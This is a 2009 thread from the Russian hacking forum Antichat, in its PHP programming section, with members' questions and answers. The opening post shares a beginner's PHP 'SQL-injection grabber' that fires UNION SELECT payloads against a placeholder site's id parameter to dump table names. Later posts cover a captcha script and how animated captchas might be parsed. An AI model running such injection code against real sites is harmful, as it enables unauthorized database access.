ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11891  
Старый 18.08.2009, 09:06
Аватар для lucky_guy
lucky_guy
Новичок
Регистрация: 17.08.2009
Сообщений: 11
Провел на форуме:
25459

Репутация: 3
По умолчанию

ааа все ребят, я сам состряпал, всю ночь кряхтел! можете поздравить меня с моим первым php скриптом!!
PHP код:
<?php
echo "-----------------------\n";
echo 
"|SQL-injection Grabber|\n";
echo 
"|Povered by lucky_guy!|\n";
echo 
"-----------------------\n";

$file "result.txt";
if (
is_writable($file)) {
if (!
$fop fopen($file'a')) {
         echo 
"Cannot open file";
             exit;}} 
         else {
    echo 
"The file file is not writable";
}
         
for (
$i=1;$i<100;$i++) {
    
$url fopen("http://bla-bal.com/index.php?id=5'+union+all+select+1,table_name+from+information_schema.tables+limit+$i,1/*""r");
while (!
feof($url)) {
    
$buffer fgets($url128);{
        
fwrite($fop$buffer);
    }
    }}
    
fclose($url);
    
fclose($fop);

echo 
"-----------------------\n";
echo 
"|        DONE!        |\n";
echo 
"-----------------------\n";
?>
 
Ответить с цитированием

  #11892  
Старый 18.08.2009, 09:08
Аватар для lucky_guy
lucky_guy
Новичок
Регистрация: 17.08.2009
Сообщений: 11
Провел на форуме:
25459

Репутация: 3
По умолчанию

теперь другой вопрос:
как отпарсить то что получилось?
 
Ответить с цитированием

  #11893  
Старый 18.08.2009, 10:39
Аватар для KaZ@NoVa
KaZ@NoVa
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме:
3134311

Репутация: 1467


Отправить сообщение для KaZ@NoVa с помощью ICQ Отправить сообщение для KaZ@NoVa с помощью AIM Отправить сообщение для KaZ@NoVa с помощью Yahoo
По умолчанию

Цитата:
Сообщение от PROPH3T  
Есть скрипт, в нём осуществляется переход по конкретной ссылке,
после перехода необходимовставить не большой java-скрипт в строку адреса и "перейти" по нему...
а то, что отобразится на экране после всего этого - необходимо записать в файл...


Не знаю как поступить с js. Подскажите, это вообще осуществимо в php скрипте, если да, то как?...
Заранее спасибо.
Не совсем понял, что тебе нужно.

>необходимо вставить не большой java-скрипт в строку адреса и "перейти" по нему...
header('location: '.$variable);

>а то, что отобразится на экране после всего этого - необходимо записать в файл...
В файл на сервере? Можно вручную выводить в файл и на stdout (юзеру). Либо читай про функцию ob_start()
Насколько я помню, JS не поддерживает работу с ФС пользователя
 
Ответить с цитированием

  #11894  
Старый 18.08.2009, 17:48
Аватар для Dr1ver
Dr1ver
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме:
2607957

Репутация: 184
По умолчанию

Подскажите, как сделать GIF анимацию на PHP ?
Хочу аниированную капчу замутить
 
Ответить с цитированием

  #11895  
Старый 18.08.2009, 18:02
Аватар для SaiRus
SaiRus
Постоянный
Регистрация: 24.11.2008
Сообщений: 416
Провел на форуме:
910902

Репутация: 100
По умолчанию

PHP код:
<?
session_start 
();

switch (
$a) {
    case 
'image':
        
$im = @imagecreate (8020) or die ("Cannot initialize new GD image stream!");
        
$bg imagecolorallocate ($im232238247);
        
$char $_SESSION['code'];

        
//создаём шум на фоне
        
for ($i=0$i<=128$i++) {
            
$color imagecolorallocate ($imrand(0,255), rand(0,255), rand(0,255)); //задаём цвет
            
imagesetpixel($imrand(2,80), rand(2,20), $color); //рисуем пиксель
        
}

        
//выводим символы кода
        
for ($i 0$i strlen($char); $i++) {
            
$color imagecolorallocate ($imrand(0,255), rand(0,128), rand(0,255)); //задаём цвет
            
$x $i 20;
            
$y rand(16);
            
imagechar ($im5$x$y$char[$i], $color);
        }

        
/*/упрощённый вариант
        $color = imagecolorallocate($img, 0, 0, 0);
        imagestring($im, 3, 5, 3, $char, $color);*/

        //антикеширование
        
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
        
header("Cache-Control: no-store, no-cache, must-revalidate");
        
header("Cache-Control: post-check=0, pre-check=0"false);
        
header("Pragma: no-cache");

        
//создание рисунка в зависимости от доступного формата
        
if (function_exists("imagepng")) {
           
header("Content-type: image/png");
           
imagepng($im);
        } elseif (
function_exists("imagegif")) {
           
header("Content-type: image/gif");
           
imagegif($im);
        } elseif (
function_exists("imagejpeg")) {
           
header("Content-type: image/jpeg");
           
imagejpeg($im);
        } else {
           die(
"No image support in this PHP server!");
        }
        
imagedestroy ($im);    
    break;
    case 
'submit':
        
//проверка кода
        
if (empty($_GET['code']) or empty($_SESSION['code'])) {
            echo 
'Вы не указали код подтверждения';
        } elseif (
$_GET['code'] != $_SESSION['code']) {
            echo 
'Код подтверждения не совпадает';
        } else {
            echo 
'Всё Ok!';
        }
    break;
    default:
        
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
        echo 
'<form action="captcha.php" method="get">'.
            
'<input type="hidden" name="a" value="submit">'.
            
'<label for="code">Код подтверждения:</label>'.
            
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
            
'<img align="absmiddle" src="captcha.php?a=image">'.
            
'<input type="submit" value="Go">'.
            
'</form>';
    break;
}
?>
как то так
 
Ответить с цитированием

  #11896  
Старый 18.08.2009, 18:04
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

http://turenko.com/blog/2007/07/09/gif-animation-using-php/
 
Ответить с цитированием

  #11897  
Старый 18.08.2009, 18:55
Аватар для Dr1ver
Dr1ver
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме:
2607957

Репутация: 184
По умолчанию

Цитата:
Сообщение от SaiRus  
PHP код:
<?
session_start 
();

switch (
$a) {
    case 
'image':
        
$im = @imagecreate (8020) or die ("Cannot initialize new GD image stream!");
        
$bg imagecolorallocate ($im232238247);
        
$char $_SESSION['code'];

        
//создаём шум на фоне
        
for ($i=0$i<=128$i++) {
            
$color imagecolorallocate ($imrand(0,255), rand(0,255), rand(0,255)); //задаём цвет
            
imagesetpixel($imrand(2,80), rand(2,20), $color); //рисуем пиксель
        
}

        
//выводим символы кода
        
for ($i 0$i strlen($char); $i++) {
            
$color imagecolorallocate ($imrand(0,255), rand(0,128), rand(0,255)); //задаём цвет
            
$x $i 20;
            
$y rand(16);
            
imagechar ($im5$x$y$char[$i], $color);
        }

        
/*/упрощённый вариант
        $color = imagecolorallocate($img, 0, 0, 0);
        imagestring($im, 3, 5, 3, $char, $color);*/

        //антикеширование
        
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
        
header("Cache-Control: no-store, no-cache, must-revalidate");
        
header("Cache-Control: post-check=0, pre-check=0"false);
        
header("Pragma: no-cache");

        
//создание рисунка в зависимости от доступного формата
        
if (function_exists("imagepng")) {
           
header("Content-type: image/png");
           
imagepng($im);
        } elseif (
function_exists("imagegif")) {
           
header("Content-type: image/gif");
           
imagegif($im);
        } elseif (
function_exists("imagejpeg")) {
           
header("Content-type: image/jpeg");
           
imagejpeg($im);
        } else {
           die(
"No image support in this PHP server!");
        }
        
imagedestroy ($im);    
    break;
    case 
'submit':
        
//проверка кода
        
if (empty($_GET['code']) or empty($_SESSION['code'])) {
            echo 
'Вы не указали код подтверждения';
        } elseif (
$_GET['code'] != $_SESSION['code']) {
            echo 
'Код подтверждения не совпадает';
        } else {
            echo 
'Всё Ok!';
        }
    break;
    default:
        
$_SESSION['code'] = substr(md5(uniqid("")),0,4);
        echo 
'<form action="captcha.php" method="get">'.
            
'<input type="hidden" name="a" value="submit">'.
            
'<label for="code">Код подтверждения:</label>'.
            
'<input type="text" id="code" name="code" size="4" maxlength="4">'.
            
'<img align="absmiddle" src="captcha.php?a=image">'.
            
'<input type="submit" value="Go">'.
            
'</form>';
    break;
}
?>
как то так

Тут ни слова про анимацию.
 
Ответить с цитированием

  #11898  
Старый 18.08.2009, 19:29
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
 
Ответить с цитированием

  #11899  
Старый 18.08.2009, 19:33
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Цитата:
Кстати, анимированая капча = обычной картинке, т.к. всегда можно взять один из кадров и парсить его...
А если:
1й кадр - буква А
2й кадр - буква Q
3й кадр - цифра 3
введите символы на анимированом изображении.
ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен
 
Ответить с цитированием

  #11900  
Старый 18.08.2009, 19:39
Аватар для Dr1ver
Dr1ver
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме:
2607957

Репутация: 184
По умолчанию

Цитата:
Сообщение от b3  
А если:
1й кадр - буква А
2й кадр - буква Q
3й кадр - цифра 3
введите символы на анимированом изображении.
ЗЫ кадры пронумеровны в углу, для порядка, либо порядок ввода неважен
Вот именно так и хочу сделать
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ